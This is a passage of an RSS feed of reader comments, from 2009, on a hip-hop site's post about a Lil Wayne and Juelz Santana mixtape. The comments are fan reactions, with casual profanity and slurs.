		<pubDate>Mon, 06 Apr 2009 22:23:02 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-119324</guid>
		<description>there u go!...
thats dat weezy f. baby</description>
		<content:encoded><![CDATA[<p>there u go!&#8230;<br />
thats dat weezy f. baby</p>
]]></content:encoded>
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	<item>
		<title>By: Plaisted93</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-118306</link>
		<dc:creator>Plaisted93</dc:creator>
		<pubDate>Fri, 03 Apr 2009 21:47:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-118306</guid>
		<description>Are you stupid? Juelz Santana has NEVER been even close to Weezy. You must be retarded!</description>
		<content:encoded><![CDATA[<p>Are you stupid? Juelz Santana has NEVER been even close to Weezy. You must be retarded!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Informative</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-118088</link>
		<dc:creator>Informative</dc:creator>
		<pubDate>Fri, 03 Apr 2009 09:13:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-118088</guid>
		<description>this shits hot . and i think you guys should throw this on the site . WAYNE is Suing Dj Drama and others for putting out mixtapes

</description>
		<content:encoded><![CDATA[<p>this shits hot . and i think you guys should throw this on the site . WAYNE is Suing Dj Drama and others for putting out mixtapes</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: jacquone</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-117228</link>
		<dc:creator>jacquone</dc:creator>
		<pubDate>Wed, 01 Apr 2009 01:32:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-117228</guid>
		<description>that nigga bak</description>
		<content:encoded><![CDATA[<p>that nigga bak</p>
]]></content:encoded>
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	<item>
		<title>By: poohmoney</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-117138</link>
		<dc:creator>poohmoney</dc:creator>
		<pubDate>Tue, 31 Mar 2009 18:26:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-117138</guid>
		<description>Yo DhA MiXtAp3 Go HarD SoN</description>
		<content:encoded><![CDATA[<p>Yo DhA MiXtAp3 Go HarD SoN</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sean</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-117136</link>
		<dc:creator>Sean</dc:creator>
		<pubDate>Tue, 31 Mar 2009 17:54:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-117136</guid>
		<description>this tape is hard as fuck, carter 1 shit.</description>
		<content:encoded><![CDATA[<p>this tape is hard as fuck, carter 1 shit.</p>
]]></content:encoded>
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	<item>
		<title>By: ed</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-117099</link>
		<dc:creator>ed</dc:creator>
		<pubDate>Tue, 31 Mar 2009 14:53:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-117099</guid>
		<description>waynr is the best evver</description>
		<content:encoded><![CDATA[<p>waynr is the best evver</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: chozin</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-116944</link>
		<dc:creator>chozin</dc:creator>
		<pubDate>Mon, 30 Mar 2009 22:11:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-116944</guid>
		<description>see this iz wat lil wane should be doin no autotune shit no more</description>
		<content:encoded><![CDATA[<p>see this iz wat lil wane should be doin no autotune shit no more</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Brick Boi Ray</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-116936</link>
		<dc:creator>Brick Boi Ray</dc:creator>
		<pubDate>Mon, 30 Mar 2009 21:04:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-116936</guid>
		<description>Dis is some real shit! Weezy Bitch!!!!!!!!!!!</description>
		<content:encoded><![CDATA[<p>Dis is some real shit! Weezy Bitch!!!!!!!!!!!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sean</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-116919</link>
		<dc:creator>Sean</dc:creator>
		<pubDate>Mon, 30 Mar 2009 19:20:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-116919</guid>
		<description>I wish Juelz would get his shit together and put some music out there, it is about time he made some Wayne money, he is one of the greatest lyricists in the game right now. Shit is sad. Hell, he is better than Wayne in his heyday.</description>
		<content:encoded><![CDATA[<p>I wish Juelz would get his shit together and put some music out there, it is about time he made some Wayne money, he is one of the greatest lyricists in the game right now. Shit is sad. Hell, he is better than Wayne in his heyday.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mr. Push</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-116891</link>
		<dc:creator>Mr. Push</dc:creator>
		<pubDate>Mon, 30 Mar 2009 16:11:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-116891</guid>
		<description>Meh... they shoulda stuck with I cant feel my face...</description>
		<content:encoded><![CDATA[<p>Meh&#8230; they shoulda stuck with I cant feel my face&#8230;</p>
]]></content:encoded>
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